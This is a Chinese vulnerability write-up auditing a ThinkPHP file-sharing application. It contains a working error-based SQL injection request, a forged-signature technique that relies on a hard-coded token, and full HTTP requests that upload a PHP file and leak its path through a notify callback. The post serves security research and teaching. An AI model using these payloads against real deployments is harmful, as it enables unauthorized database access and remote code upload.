记一次0.5day分析

admin 2024年4月28日07:59:08评论6 views字数 5520阅读18分24秒阅读模式

前言

本篇文章首发在先知社区(为先知打Call) 作者Zjacky(本人) 先知社区名称: Zjacky 转载原文链接为https://xz.aliyun.com/t/13868

文章来源: https://forum.butian.net/share/2876文章作者:Zjacky如有侵权请您联系我们,我们会进行删除并致歉

审计

路由分析

首先这里明眼人一看就知道在application这个目录下,可以抓登录的接口或者注册的接口或者进去后的接口来判断对应的代码之后登录进去寻找文件

记一次0.5day分析

记一次0.5day分析

路由很少,所以很明显看出我们登录的/user/login/对应的是index目录下的User.phplogin方法

记一次0.5day分析

后台SQL注入

emm本来想看前台的,但是大部分是存在鉴权代码的

记一次0.5day分析

$this->userInfo['id']

由于是TP的框架,所以先来回顾下TP的where语句

记一次0.5day分析

在TP框架中,大部分的SQL查询都是做了参数绑定的,如下图所示

记一次0.5day分析

这里的$code就是做了参数绑定,但是一开始去试着访问的时候发现是 404 并且返回非法请求

然后参考了下这篇文章 发现原来可能存在路由定义的问题

https://www.kancloud.cn/z8859346/thinkphp/1747811

找到/route/route.php

记一次0.5day分析

发现对index这个模块进行了定义,所以要根据他的规则来进行访问,只要访问了/s:code就会去访问index/share方法

记一次0.5day分析

但因为:code进行了占位符 所以相当于绑定了参数无法进行注入

记一次0.5day分析

所以这些点都不存在SQL注入

于是转向了后台

跟踪到index的file文件,发现了list()方法这里接受几个可控的 参数foloder.idsearch,进入到FileManager#listFile()方法中

记一次0.5day分析

主要是因为listfile()这个命名还是很大可能会跟数据库有关联的,所以跟进下

记一次0.5day分析

listFile这个方法里面,他会先执行self类里面的getfolderPid这个方法,并且传入$folder_id

再次跟进

记一次0.5day分析

我们传入的内容不为空,所以传了啥返回啥,接下来往下走就是整个SQL的一个坑点了

坑点

接着就是数组的形式进行赋值

记一次0.5day分析

那么现在问题来了,他是以数组的形式去进行sql查询,那么可能存在sql的点吗?我们来进行mysql的监控

代码如下,先是单数组正常使用select查询

        $ttt = db('stores')
->where(['parent_folder'=>$folder_id])
->where('origin_name','like','%'.$search.'%')
->field('id,uid,shares_id,origin_name as name,ext,size,count_down,count_open,update_time')
->select();

var_dump($ttt);
die();

记一次0.5day分析

发现正常转义了,那么双数组跟三数组也是一样到效果,那么这里就得到一个结论,并不是因为数组的拼接问题所导致的sql注入,那么细心的话可以发现,我的代码其实跟原始代码是有一定的区别的,就是并没有加入一个关键代码

->fetchSql(true)

这里来解释一下fetchSql 方法

> <span style="font-weight:bold;">fetchSql</span> 方法在 ThinkPHP 框架中(以及其他可能支持该功能的框架或数据库操作类)的主要作用是获取即将执行的 SQL 查询语句,而不是真正执行这个查询。当你调用 <span style="font-weight:bold;">fetchSql(true)</span> 时,框架会生成对应的 SQL 语句并返回,但并不会执行该 SQL

啥意思呢,来看数据库监控

记一次0.5day分析

可以发现数据库监控仅仅只是输出了一条 展示字段的SQL语句

SHOW COLUMNS FROM `sk_stores`

那其实就是因为他压根就没有进行查询我们的where条件 ---> 这其实就也印证了我之前一直说 并没有在数据库监控中看到这些查询语句,是因为使用了fetchSql(true)

那么接下来既然是没有进行SQL语句的执行的,那么也就是我们现在的$files_sql是一条尚未执行的SQL语句,我们来打印一下看看

string(221) "SELECT `id`,`uid`,`shares_id`,origin_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_stores` WHERE  `uid` = 10  AND `parent_folder` = 3'  AND `delete_time` IS NULL  AND `origin_name` LIKE '%aa%'"

记一次0.5day分析

正是因为没有带入数据库查询,所以里面的特殊符号比如'就并没有参数绑定或者预编译或者转义,而最终产生SQL注入的万恶之源,正是下方的union

记一次0.5day分析

记一次0.5day分析

SELECT `id`,`uid`,`shares_id`,folder_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_folders` WHERE  `uid` = 10  AND `parent_folder` = '3'  AND `delete_time` IS NULL  AND `folder_name` LIKE '%aa%' 

UNION ALL

( SELECT `id`,`uid`,`shares_id`,origin_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_stores` WHERE `uid` = 10 AND `parent_folder` = 3 AND `delete_time` IS NULL AND `origin_name` LIKE '%aa%' ) LIMIT 0,20

所以最终的结果就是因为通过了union去拼接起来了,所以才导致了SQL注入的产生,破案了

最终报文如下

GET /file/list?folder_id=1-updatexml(1,concat(0x7e,database(),0x7e),1)&amp;search=&amp;page=&amp;rows= HTTP/1.1
Host: wp.com
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Type: application/json
Referer: http://wp.com/user/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=21cpn2h5jqf7e47k8dtlrhnmk4
Connection: close

记一次0.5day分析

文件上传

首先全局搜索move_uploaded_file函数,发现public/server/index.php文件引用该函数

记一次0.5day分析

之后便发现这个方法是一个protected权限来修饰,所以这个方法直接调用不成功

记一次0.5day分析

之后就要去观看这个文件被谁来调用 发现是publicserverindex.php#start()调用了,刚好是符合protected属性的

记一次0.5day分析

但是往上看发现存在验签操作

记一次0.5day分析

发现是存在两个传参,$command $sign 并且是需要验签的,那我们跟进sign_verify看看

记一次0.5day分析

继续跟进sign_params

记一次0.5day分析

如果不理解我们可以写个demo本地测试下

首先流程如下

我们传入的HTTP参数 这个数组的hash  == 我们sign传入的hash 

记一次0.5day分析

他会把我们传入的$sign不作为$params去传参

记一次0.5day分析

那么逻辑就清楚了就是我们GET传参的内容跟我们token传入的内容进行拼接且MD5的值跟我们$sign要相同

记一次0.5day分析

如果验签成功,就能够进入到upload的逻辑中

之后就调用upload_file这个函数,这个函数我也说了,他是调用move_uplaoded_file函数进行上传的,他接受一个参数uid的值

记一次0.5day分析

那么在这里我们就尝试进行复现,当刚打开BP我就发现问题了,emmm在上述的demo中我是写死了拼接的字符串的,但是远程是$this-&gt;config['token'] 拼接这个东西啊,所以跟进一下这个$config的内容,发现在最下面就定义了token的内容为asdasfasfasfasfasfa

记一次0.5day分析

那么就可以直接生成sign

&lt;?php echo md5("md=upload&amp;uid=1asdasfasfasfasfasfa");?&gt;

那么继续复现

POST /server/index.php/start?md=upload&amp;uid=1&amp;sign=e8766abd8742eb67a2c07b089ecf636a HTTP/1.1
Host: wp.com
Cache-Control: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427
User-Agent: PostmanRuntime-ApipostRuntime/1.1.0
Content-Length: 389

----------------------------570796120375390059114427
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-httpd-php

&lt;?php phpinfo(); ?&gt;
----------------------------570796120375390059114427--

上传后返回如下

记一次0.5day分析

解码后为 同步错误

记一次0.5day分析

来看看源码

记一次0.5day分析

发现已经上传了,但是咱不知道上传路径啊。。。找一下本地可以发现在这里

记一次0.5day分析

但是如何找路径呢,可以关注到后续还有一串代码

$res = $this-&gt;upload_notify($_GET['notify'],$info);

我将$info打印了下发现已经存入了上传的路径了

记一次0.5day分析

跟进下upload_notify 发现跟SSRF一样可以向外请求并且带上我们的$info --------> 这感觉写的就怕我找不到路径似的,这里的验签压根就不需要管他,因为文件都传上去了,无所谓了,只需要路径,而他也并没有判断验签对不对(如果校验了,就没办法上传了,因为$info是未知的)

记一次0.5day分析

于是带好参数写好验签即可成功触发

echo md5("md=upload&amp;notify=http://127.0.0.1:8877/&amp;uid=1asdasfasfasfasfasfa");

记一次0.5day分析

POST /server/index.php/start?md=upload&amp;uid=1&amp;notify=http://127.0.0.1:8877/&amp;sign=88c03d47ed5a1df9ed7ed9e1c1ce8afd HTTP/1.1
Host: wp.com
Cache-Control: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427
User-Agent: PostmanRuntime-ApipostRuntime/1.1.0
Content-Length: 389

----------------------------570796120375390059114427
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-httpd-php

&lt;?php phpinfo(); ?&gt;
----------------------------570796120375390059114427--

总结

  1. 多扣代码多调试才行,一步一步来

  2. 有些时候框架忘记或者不熟悉还是要多仔细看看才行

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前言漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,只需25,即可加入,如不满意,72 小时内可在 App 内无条件自助退款。

记一次0.5day分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月28日07:59:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次0.5day分析http://cn-sec.com/archives/2691121.html

发表评论

匿名网友 填写信息